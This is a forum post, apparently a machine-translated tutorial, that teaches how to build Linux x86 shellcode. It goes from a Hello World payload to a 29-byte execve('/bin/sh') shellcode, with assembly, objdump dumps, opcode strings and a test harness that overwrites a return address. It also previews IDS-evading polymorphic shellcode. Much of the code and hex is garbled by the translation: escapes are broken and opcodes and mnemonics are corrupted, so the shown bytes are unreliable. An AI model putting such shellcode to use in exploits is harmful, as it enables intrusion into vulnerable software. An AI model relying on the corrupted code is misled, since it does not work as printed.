Jump to content
YOUR-AD-HERE
HOSTING
TOOLS

Locked Making shellcode


dEEpEst

Recommended Posts

Credits:trance

 

Here is a very detailed article on the design of the shellcode, addressing mostly beginners but which could interest others.We will see what a shellcode, what can it be used, and especially how to design one.

 

Some C and ASM databases are required, even if we explain a few.

 

Summary

 

Preliminaries

Definition

Use

Designing a shellcode

Hello World Shellcoding

Code the program in C

Get the system call

Recode the C program with the system call

Code the program in ASM

ASM disassemble the program and build the shellcode

Test the shellcode

A "real" shellcode

 

1. Preliminaries

 

I prefer to announce it right away: we will not cover the case of Windows shellcode, but only those of Linux.Indeed, they are much easier to achieve.If you want details, read on to the interruptions.In addition, tests were performed on a Debian environment 2.4.27 kernel with GCC 3.3.5.

 

1.1.Definition

 

Shellcode means a piece of code into machine language.Generally, it is written in this form:

 

Code:

\ X01 \ x02 \ x03 \ x04 \ x05 \ x06 \ x07 \ x08 \ x09 \ 0A \ X0B \ x0c \ x0D \ X0E \ x0F ...

where 01, 02, etc. are replaced by the instructions ("opcodes") in machine code that must execute the shellcode.

 

What type of instruction shellcode can it run?

 

All!A shellcode is nothing less than a very small program (usually) executed by your processor, so it is able to do all that can make any program.

 

However, there is a single constraint Shellcode.He absolutely must not contain '00' in its opcodes.Indeed, such a byte is a null-terminated, and mark the end of the string represented by the shellcode.

 

1.2.Use

 

What is shellcode?Why not directly utilsier a classical program?

 

In fact, a shellcode is basically a code that executes a shell (command prompt), hence its name.The notion of shellcode was therefore extended to the final designate a "malicious" code is injected into a program to divert its execution, and force it to execute our instructions.

 

Thus, in practice, it is used to exploit application vulnerabilities alone, mostly buffer overflows.This shellcode is injected into a vulnerable program to a fault, and it is ensured that it is executed.It's that simple, and finally in the principle ...

 

But we have not answered the question: why use a shellcode and not a single program?Just because a shellcode is designed so that it is as small as possible.Shellcode generally occupies some tens of bytes, not more.While a program occupies more often hundreds of kilobytes or megabytes!

 

And why do we need to have a small shellcode?

 

This is related to the exploitation of loopholes.Generally, when one exploits a flaw, one can write code in memory, where it is desired.But the size of the code written is very often limited by software barrièes.Indeed, an inappropriate place to write a staggering amount of data could easily crash the program, we do not want to ...

 

How to design a shellcode?

 

Good question ... This is the whole purpose of this article!

 

2. Design of a shellcode

 

To create a shellcode, there are several techniques.We will see here a fairly simple and natural technique.

 

Be aware that the creation of the shellcode is generally independent of the program operate, the shellcode created only depend on the machine and that it is wished, not the vulnerable program.

 

In any case, in this article, we will not see the exploitation of a vulnerable program.This will be seen in an article on buffer overflows.

 

First, we will make a shellcode writing "Hello World" on the screen.This is to make sure you understand the sequence of steps to go.We will also see how to test shellcode.Then we will see a classic shellcode running a shell with the rights of the program in which it is injected.

 

2.1.Hello World Shellcoding

 

2.1.1.Code the program

In first, we must encode the equivalent instructions that we want to execute the program.We will encode our little Hello World C:

 

Code:

trancebox trance @: ~ $ cat helloworld.c

int main ()

{

printf ("Hello World!");

}

Code:

trancebox trance @: ~ $ gcc -o helloworld helloworld.c

trancebox trance @: ~ $ ./helloworld

Hello World @ trance trancebox: $ ~

Note: We do not put '\ n' This is why 'Hello World!'is glued to the following command prompt.

 

2.1.2.Collect system calls

 

A system call (syscall or English) is a function of the operating system (Linux) pretty special.Indeed, such a function is available when assembler code in the form of an interruption.

 

An interruption means departing, as the name suggests, a temporary shutdown of a program to perform a particular function.It is used on systems / O.For example, imagine a robot with sensors that moves.This guide through the information received by the sensors.Should the front sensor recontre a wall, the robot must stop.

 

By computer, instead of a permanent loop constantly checking the presence of a wall detected by the sensor, using the interrupt associated with this sensor.One can thus encode the focntion he has never run if the interruption is active, named "interrupt routine".Thus, our main agenda is clear and there is no loop checking entena / outputs.

 

What relationship with your PC?PC also has interrupts.For example, mouse, screen, etc.In fact, this is not really the PC that has these interruptions, but the OS installed on it.Indeed, each OS has its interruptions.This is why we see here that the case of Linux, having "friendly" interruptions and very simple to design shellcode.

 

Indeed, in Windows, one can not recover certain functions by interruptions, and this is very annoying in the design of shellcode.Then one must retrieve the address of the function you want to use.To do this, we need another function ... To summarize, Windows shellcode design is possible, since there are generators on the Net, but difficult.

 

Our goal will now be to recover the system calls used by the program that we created.Specifically, we will recover the system calls intéressentes features of our program.Here, no possible doubt there is only one: printf.So find the name of its corresponding system call, using the tool strace.

 

Code:

trancebox trance @: ~ $ strace ./helloworld

...

write (1, "Hello World!" 13Hello World!) = 13

...

The display was truncated because relatively long.Here, we notice the presence of our string as argument write ().In fact, write () system call is we seek.Its syntax is: int write (int output chain char [], int length);

 

This function returns the number of bytes written, but we do not utilserons this characteristic."Output" is the output number on which we want to write.Here is the screen, so stdin, ie 1.

 

We will rewrite the C program, but this time with the system call.

 

2.1.3.Recode the C program with the system call

 

This is our program recoded:

 

Code:

trancebox trance @: ~ $ cat helloworld2.c

int main ()

{

write (1, "Hello World!", 13);

}

Code:

trancebox trance @: ~ $ gcc -o HelloWorld2 helloworld2.c

trancebox trance @: ~ $ ./helloworld2

Hello World @ trance trancebox: $ ~

Fabulous, it works as well as the other!

 

Now you have two options.

 

You either know in machine code, in this case you'll have no trouble writing shellcode from DVD.Now binary

This is the hidden content, please

 

Either you do not know, like me, and in that case we will re-write all in assembler and then disassemble it.

 

2.1.4.Code the program in ASM

 

Before starting the programming, a little technique.How to call an interruption in ASM?Linux, often called the 0x80 interruption.During this call, you must specify in EAX the syscall number (system call) we want to use.How to have this number?

 

Just type:

 

Code:

trancebox trance @: ~ $ cat /usr/include/asm/unistd.h | grep write

Parenthesis: If you get nothing, view the unistd.h file and see what is included.It is likely that the syscalls are in other files.Basically this article was written under Debian.I just re-test on my Ubuntu Edgy and I have this:

 

Code:

$ Cat /usr/include/asm/unistd.h

/ * File autogenerated by 'make headers_install' * /

#ifndef __ASM_STUB_UNISTD_H

#define __ASM_STUB_UNISTD_H

# If defined __x86_64__

#include

# Elif defined __i386__

#include

# Else

# Warning This Machine Appears to be x86_64 Neither nor i386.

#endif

#endif / * * __ASM_STUB_UNISTD_H /

In so doing a cat on /usr/include/asm-i386/unistd.h, we have what we want:

 

Code:

$ Cat /usr/include/asm-i386/unistd.h | grep write

#define __NR_write 4

#define __NR_writev 146

#define __NR_pwrite64 181

Finally, if you do not even have the unistd.h file, you may need to install the libc6-dev.

 

(End of parenthesis)

 

We therefore now the syscall number: 4. Now you are going to place our argument as it should, and call the function.We will place them like this:

 

EAX will contain the syscall number, 4

EBX will hold the first write of argument 1.

ECX will contain the second argument is the address of the string "Hello World!".

EDX will contain the length of the string (3rd argument), 13, or 0x0d.

 

We know almost all the information.Indeed, we lack at the moment the address of our string.How are we going back?

 

Recovery of a chain of address in a shellcode.

 

To retrieve the address of a string, we have already put it in memory.Then, we must succeed in finding where it is.We will use the technique of pop / call, described by Pr1on in Phrack.It consists, from an X address, jump on a label Y address, below which face a call to the next instruction X. And below this call is our chain.

 

How is the recovery of the address?In fact, during the Call, the address of the next instruction will be stacked, like every call.As the following address ets precisely the address of our chain, you win!It will do us more than to unstack the address in a register in the ECX occurrence.Here is a small illustrative diagram:

 

[beginning of the shellcode]

 

Code:

jmp chain

after:

 

Code:

ecx pop

[Continuation and end of shellcode]

 

chain:

 

Code:

call later

[Our string]

 

We have all the information we need to make our shellcode, so let's go!

 

Code:

trancebox trance @: ~ $ cat asm.s

hand:

xorl% eax,% eax // zero is put all registers, to avoid problems

xorl% ebx,% ebx

xorl% ecx,% ecx

xorl% edx,% edx

movb $ 0x4,% al // We put al to avoid 0 in opcodes

movb $ 0x1,% bl

jmp chain

ret:

popl% ecx

movb $ 0,% dl

int $ 0x80

 

chain:

call ret

.string "Hello World!"

It assembles and link with the following instructions:

 

Code:

trancebox trance @ $ ~ have -o asm.o asm.s

Code:

trancebox trance @: ~ $ ld -o asm asm.o

WARNING: can not find entry symbol _start;defaults 0000000008048074

 

Do not pay attention to this warning, it is normal.Now the moment of truth, we must test the shellcode:

 

Code:

trancebox trance @: ~ $ ./asm

Hello World! // Ctrl + C to exit

Impeccable, everything works.It's almost the end ...

 

2.1.5.Disassemble the program in ASM and create the shellcode

 

We'll use objdump, the famous disassembler.But we could very well have used Gdb ...

 

Code:

trancebox trance @: ~ $ objdump -d asm

asm: ELF32-i386 file format

 

Déassemblage Section .text:

 

Code:

08048074:

8048074: 31 c0 xor% eax,% eax

8048076: 31% db xor ebx,% ebx

8048078: 31% c9 xor ecx,% ecx

804807a: 31% d2 xor edx,% edx

804807c: 04 mov $ 0x4 b 0,% al

804,807th: mov $ 01 b3 0x1,% bl

8048080: eb 05 jmp 8048087

 

08048082:

8048082 59% pop ecx

8048083: b2 0d mov $ 0,% dl

8048085 cd 80 int $ 0x80

 

08048087:

8048087: e8 f6 ff ff ff call 8048082

804808c: 48 December% eax

804808d: 65 gs

804,808th: 6c insb (% dx)% s: (% edi)

804808f: 6c insb (% dx)% s: (% edi)

8048090: 6f outsl% ds: (% esi) (% dx)

8048091 20% and 57 6f dl, 0x6f (% edi)

8048094 72 8048102 6c jb

 

8048096 64 20 21 and% ah,% fs: (% ecx)

There are several things one can notice.On one hand, the hand of the code is exactly the one we wrote just above, except that, of course, the addresses have replaced the name labels in the jmp and call.

 

Moreover, from the label 'string', we see the rather hostile code that we have not typed.In reality, it is the bytes of our chain, the disassembler erroneously interpreted as code.We can consider this code as characters, simplifying the copy below.

 

There is only one thing to do: create our shellcode.To do this, simply concatenate all opcodes (machine code assembler instructions, the 2nd column) separated by '\ x'.Why separator and not another?Simply because it is the notation used by many languages, including C and Perl languages ​​that often is used to exploit application flaws.So butt one puts these opcodes and we get:

 

Code:

\ X31 \ xc0 \ x31 \ b \ x31 \ XC9 \ x31 \ 2 \ xb0 \ x04 \ xB3 \ x01 \ xeb \ x05 \ x59 \ XB2 \ x01

\ Xcd \ x80 \ XE8 \ XF6 \ xff \ xff \ xffHello World!

This shellcode is 37 characters.Not bad for our first!

 

But perhaps you're AND skeptical.You are amazed that a simple piece of code as it can display "Hello World!"on the screen.Alright ... We will test this shellcode together.

 

2.1.6.Test the shellcode

 

We now write a little program that will test our shellcode for us.In general, a shellcode is used on a vulnerable program, but our program will not really vulnerable.Since the goal is to run our shellcode, we will arrange to blow up the program on the stack, where we will put our shellcode.To do this, we may well encode a C program by declaring our shellcode and making a drop inline assembler, running a "jmp% esp".

 

This gives this:

 

Code:

trancebox trance @: ~ $ cat ./testasm.c

int main ()

Sh {char [] = "\ x31 \ xc0 \ x31 \ b \ x31 \ XC9 \ x31 \ 2 \ xb0 \ x04 \ xB3 \ x01 \ xeb \ x05"

"\ X59 \ XB2 \ x0d \ xcd \ x80 \ XE8 \ XF6 \ xff \ xff \ xffHello World!";

asm ("jmp% esp");

return 0; }

Code:

trancebox trance @: ~ $ gcc -o testasm testasm.c

/tmp/ccxfWtYB.s: Assembler messages:

/tmp/ccxfWtYB.s:25: WARNING: indirect jmp without "*"

trancebox trance @: ~ $ ./testasm

 

Hello World!

But it is also possible to proceed differently, more clever:

 

Code:

trancebox trance @: ~ $ cat test.c

Code:

sh char [] = "\ x31 \ xc0 \ x31 \ b \ x31 \ XC9 \ x31 \ 2 \ xb0 \ x04 \ xB3 \ x01 \ xeb \ x05"

"\ X59 \ XB2 \ x0d \ xcd \ x80 \ XE8 \ XF6 \ xff \ xff \ xffHello World!";

Code:

int main ()

{Printf ("size:% d \ n", sizeof (sh) -1); // If we want to show its size

int ret; // The -1 is because we must disregard the terminal 0

* ((Int *) & ret + 2) = (int) sh; }

trancebox trance @: ~ $ gcc -o test test.c

trancebox trance @: ~ $ ./test

Size: 37

Hello World!

Here's a tip is used that fits in the barbaric red line.In the deciphering, this gives, in French: "Make the content pointed to by (the address of the variable 'ret' incremented by 2 * sizeof (int)) equal to the address of the shellcode."

 

Why have declared a variable 'ret' and made this calculation?Because actually on the stack, it is in order (bottom to top):

 

- The hand return address

- The contents of the EBP register saved by the hand of prologue

- Variable 'ret'

 

All of these values ​​hold 4 (= sizeof (int)) chacunes bytes.We have access to the ret variable, so its address.We want to divert the hand of return value and make it equal to the address of the shellcode.We must find a relationship between the address of the hand return address and the variable ret address.And this, nothing simpler since: ret & = & + 2 (hand return address).We must change the content pointed to by (& ret + 2), where the magic formula in red.

 

Finally, our shellcode works very well, regardless of the test method.

 

2.2.A "real" shellcode

 

You get the idea.We will now apply for the realization of a real shellcode that executes a shell.

 

We will not redétailler all steps, just give the expected results.Here is how to create this shellcode, from A to Z:

 

Code:

trancebox trance @: ~ / $ cat shellcode shell.c

Code:

#include

#include

int main ()

{Char * param [] = {"/ bin / sh", NULL};

execve (param [0], param, NULL); // Execve is already a system call

return 0; }

Code:

trancebox trance @: ~ / $ gcc -o shell shellcode shell.c

Code:

trancebox trance @: ~ / $ shellcodes ./shell

Code:

sh-2.05b $ exit

Code:

trancebox trance @: ~ / $ cat shellcode /usr/include/asm/unistd.h | grep execve

Code:

#define __NR_execve 11

* In NO COPY WRITE ON (!!!), up to an execve is Executed. This

static inline _syscall3 (int, execve, const char * file, char **, argv, char ** envp)

Code:

trancebox trance @: ~ / $ shellcode

Code:

trancebox trance @: ~ / $ cat shellcode ./asm.s

Code:

hand xorl% eax,% eax% ebx xorl,% ebx% ecx xorl,% ecx% edx xorl,% edx // We must recover the execve arguments: // ebx = "/ bin / sh" // ecx = {tab = "/ bin / sh", 0} // edx = 3: 0 // In addition, eax = 11, the syscall stacks // 0 // push% edx We must stack "/ bin / sh" . Now it is on the stack and an x86 architecture. // So we must stack 4 bytes by 4 bytes, so we add a /. // And it must stack in reverse, in two senses: // - meaning "last 4 bytes and the first 4 bytes" // - meaning "all bytes are reversed" // we therefore pushe in first 'hs / n', then 'ib //' push push 0x68732f6e $ $ // 0x69622f2f recovering the address of the string mov% esp,% ebx // push stacks 0% edx // stack the address of 'string address (ie tab)% push ebx // The stack looks like this: // // + --------------------- --- + // | // bin / sh | | ebx = addr chain | - + // | + // ------------------------ + | | 0 | // | + --------------- // + --------- + - | ecx addr = addr string | // + ------------------------ + // // // recovering address tab mov% esp,% ecx // executes the interruption mov $ 11,% al int $ 0x80

Code:

trancebox trance @: ~ / $ shellcode as -o asm.o asm.s

Code:

trancebox trance @: ~ / shellcodes $ ld -o asm asm.o

WARNING: can not find entry symbol _start;defaults 0000000008048074

 

Code:

trancebox trance @: ~ / $ shellcodes ./asm

Code:

sh-2.05b $ exit

Code:

trancebox trance @: ~ / $ shellcode

Code:

trancebox trance @: ~ / shellcodes $ objdump -d ./asm

Code:

./asm: ELF32-i386 file format

Déassemblage Section .text:

 

Code:

08048074:

8048074: 31 c0 xor% eax,% eax

8048076: 31% db xor ebx,% ebx

8048078: 31% c9 xor ecx,% ecx

804807a: 31% d2 xor edx,% edx

804807c: 52 push% edx

804807d: 68 2f 73 68 6e push $ 0x68732f6e

8048082 68 62 69 2f 2f push $ 0x69622f2f

8048087: mov% esp e3 89,% ebx

8048089 52% edx push

804808a: 53% ebx push

804808b: mov% esp 89 e1,% ecx

804808d: b0 0b mov $ 0xb,% al

804808f cd 80 int $ 0x80

Code:

trancebox trance @: ~ / shellcodes $ cat test.c

Code:

sh char [] = "\ x31 \ xc0 \ x31 \ b \ x31 \ XC9 \ x31 \ 2 \ x52 \ x68 \ x6e \ x2F \ x73 \ x68"

"\ X68 \ x2F \ x2F \ x62 \ x69 \ x89 \ xe3 \ x52 \ x53 \ x89 \ xe1 \ xb0 \ X0B \ xcd \ x80";

Code:

int main ()

{Printf ("size:% d \ n", sizeof (sh) -1);

int ret;

* ((Int *) & ret + 2) = (int) sh; }

Code:

trancebox trance @: ~ / shellcodes $ gcc -o test test.c

Code:

trancebox trance @: ~ / $ shellcodes ./test

Size: 29

Code:

sh-2.05b $

In the end, our shellcode works and is 29 bytes, which is not bad, but not the optimal solution.I think with the comments, understanding should not be too difficult.The hardest thing to understand is certainly the place where the program code is in ASM and when one must pusher and retrieve the address different arguments.In fact, we do not use the technique of jump / call we've seen before, but a simpler solution, at least in principle, since we place the string directly on the stack.

 

CONCLUSION:

 

Here we come to the end of this presentation shellcode.You know now realize a simple way shellcode, almost.Try to repeat yourself two examples we have seen exercise is a good workout.

 

We shall soon see how to automate the design of shellcode by coding a few tools that will simplify our work.In addition, we will study techniques to make shellcode (almost) undetectable: polymorphic shellcode, specially designed in order to pass through the protections, such as IDS.

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.